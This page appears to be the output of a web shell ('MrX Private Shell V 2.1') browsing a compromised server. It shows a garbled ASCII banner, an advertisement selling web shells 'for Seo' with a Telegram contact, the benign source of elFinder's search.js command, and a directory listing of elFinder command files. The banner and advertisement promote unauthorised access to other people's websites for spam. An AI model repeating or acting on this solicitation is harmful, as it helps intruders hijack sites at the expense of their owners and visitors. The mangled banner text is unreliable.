__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/**
* @class elFinder command "search"
* Find files
*
* @author Dmitry (dio) Levashov
**/
elFinder.prototype.commands.search = function() {
"use strict";
this.title = 'Find files';
this.options = {ui : 'searchbutton'};
this.alwaysEnabled = true;
this.updateOnSelect = false;
/**
* Return command status.
* Search does not support old api.
*
* @return Number
**/
this.getstate = function() {
return 0;
};
/**
* Send search request to backend.
*
* @param String search string
* @return jQuery.Deferred
**/
this.exec = function(q, target, mime, type) {
var fm = this.fm,
reqDef = [],
sType = type || '',
onlyMimes = fm.options.onlyMimes,
phash, targetVolids = [],
setType = function(data) {
if (sType && sType !== 'SearchName' && sType !== 'SearchMime') {
data.type = sType;
}
return data;
},
rootCnt;
if (typeof q == 'string' && q) {
if (typeof target == 'object') {
mime = target.mime || '';
target = target.target || '';
}
target = target? target : '';
if (mime) {
mime = jQuery.trim(mime).replace(',', ' ').split(' ');
if (onlyMimes.length) {
mime = jQuery.map(mime, function(m){
m = jQuery.trim(m);
return m && (jQuery.inArray(m, onlyMimes) !== -1
|| jQuery.grep(onlyMimes, function(om) { return m.indexOf(om) === 0? true : false; }).length
)? m : null;
});
}
} else {
mime = [].concat(onlyMimes);
}
fm.trigger('searchstart', setType({query : q, target : target, mimes : mime}));
if (! onlyMimes.length || mime.length) {
if (target === '' && fm.api >= 2.1) {
rootCnt = Object.keys(fm.roots).length;
jQuery.each(fm.roots, function(id, hash) {
reqDef.push(fm.request({
data : setType({cmd : 'search', q : q, target : hash, mimes : mime}),
notify : {type : 'search', cnt : 1, hideCnt : (rootCnt > 1? false : true)},
cancel : true,
preventDone : true
}));
});
} else {
reqDef.push(fm.request({
data : setType({cmd : 'search', q : q, target : target, mimes : mime}),
notify : {type : 'search', cnt : 1, hideCnt : true},
cancel : true,
preventDone : true
}));
if (target !== '' && fm.api >= 2.1 && Object.keys(fm.leafRoots).length) {
jQuery.each(fm.leafRoots, function(hash, roots) {
phash = hash;
while(phash) {
if (target === phash) {
jQuery.each(roots, function() {
var f = fm.file(this);
f && f.volumeid && targetVolids.push(f.volumeid);
reqDef.push(fm.request({
data : setType({cmd : 'search', q : q, target : this, mimes : mime}),
notify : {type : 'search', cnt : 1, hideCnt : false},
cancel : true,
preventDone : true
}));
});
}
phash = (fm.file(phash) || {}).phash;
}
});
}
}
} else {
reqDef = [jQuery.Deferred().resolve({files: []})];
}
fm.searchStatus.mixed = (reqDef.length > 1)? targetVolids : false;
return jQuery.when.apply($, reqDef).done(function(data) {
var argLen = arguments.length,
i;
data.warning && fm.error(data.warning);
if (argLen > 1) {
data.files = (data.files || []);
for(i = 1; i < argLen; i++) {
arguments[i].warning && fm.error(arguments[i].warning);
if (arguments[i].files) {
data.files.push.apply(data.files, arguments[i].files);
}
}
}
// because "preventDone : true" so update files cache
data.files && data.files.length && fm.cache(data.files);
fm.lazy(function() {
fm.trigger('search', data);
}).then(function() {
// fire event with command name + 'done'
return fm.lazy(function() {
fm.trigger('searchdone');
});
}).then(function() {
// force update content
data.sync && fm.sync();
});
});
}
fm.getUI('toolbar').find('.'+fm.res('class', 'searchbtn')+' :text').trigger('focus');
return jQuery.Deferred().reject();
};
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| archive.js | File | 2.47 KB | 0640 |
|
| back.js | File | 512 B | 0640 |
|
| chmod.js | File | 9.37 KB | 0640 |
|
| colwidth.js | File | 480 B | 0640 |
|
| copy.js | File | 986 B | 0640 |
|
| cut.js | File | 1.12 KB | 0640 |
|
| download.js | File | 16.61 KB | 0640 |
|
| duplicate.js | File | 1.36 KB | 0640 |
|
| edit.js | File | 34.48 KB | 0640 |
|
| empty.js | File | 3.32 KB | 0640 |
|
| extract.js | File | 5.18 KB | 0640 |
|
| forward.js | File | 509 B | 0640 |
|
| fullscreen.js | File | 1.05 KB | 0640 |
|
| getfile.js | File | 4.07 KB | 0640 |
|
| help.js | File | 14.21 KB | 0640 |
|
| hidden.js | File | 276 B | 0640 |
|
| hide.js | File | 4.26 KB | 0640 |
|
| home.js | File | 528 B | 0640 |
|
| info.js | File | 13.13 KB | 0640 |
|
| mkdir.js | File | 2.51 KB | 0640 |
|
| mkfile.js | File | 1.64 KB | 0640 |
|
| netmount.js | File | 10.43 KB | 0640 |
|
| open.js | File | 6.78 KB | 0640 |
|
| opendir.js | File | 886 B | 0640 |
|
| opennew.js | File | 1.21 KB | 0640 |
|
| paste.js | File | 10.17 KB | 0640 |
|
| places.js | File | 773 B | 0640 |
|
| preference.js | File | 21.37 KB | 0640 |
|
| quicklook.js | File | 23.87 KB | 0640 |
|
| quicklook.plugins.js | File | 58.51 KB | 0640 |
|
| reload.js | File | 1.86 KB | 0640 |
|
| rename.js | File | 15.92 KB | 0640 |
|
| resize.js | File | 52.17 KB | 0640 |
|
| restore.js | File | 7.45 KB | 0640 |
|
| rm.js | File | 14.42 KB | 0640 |
|
| search.js | File | 4.01 KB | 0640 |
|
| selectall.js | File | 606 B | 0640 |
|
| selectinvert.js | File | 471 B | 0640 |
|
| selectnone.js | File | 530 B | 0640 |
|
| sort.js | File | 4.32 KB | 0640 |
|
| undo.js | File | 3.62 KB | 0640 |
|
| up.js | File | 710 B | 0640 |
|
| upload.js | File | 12.4 KB | 0640 |
|
| view.js | File | 2.8 KB | 0640 |
|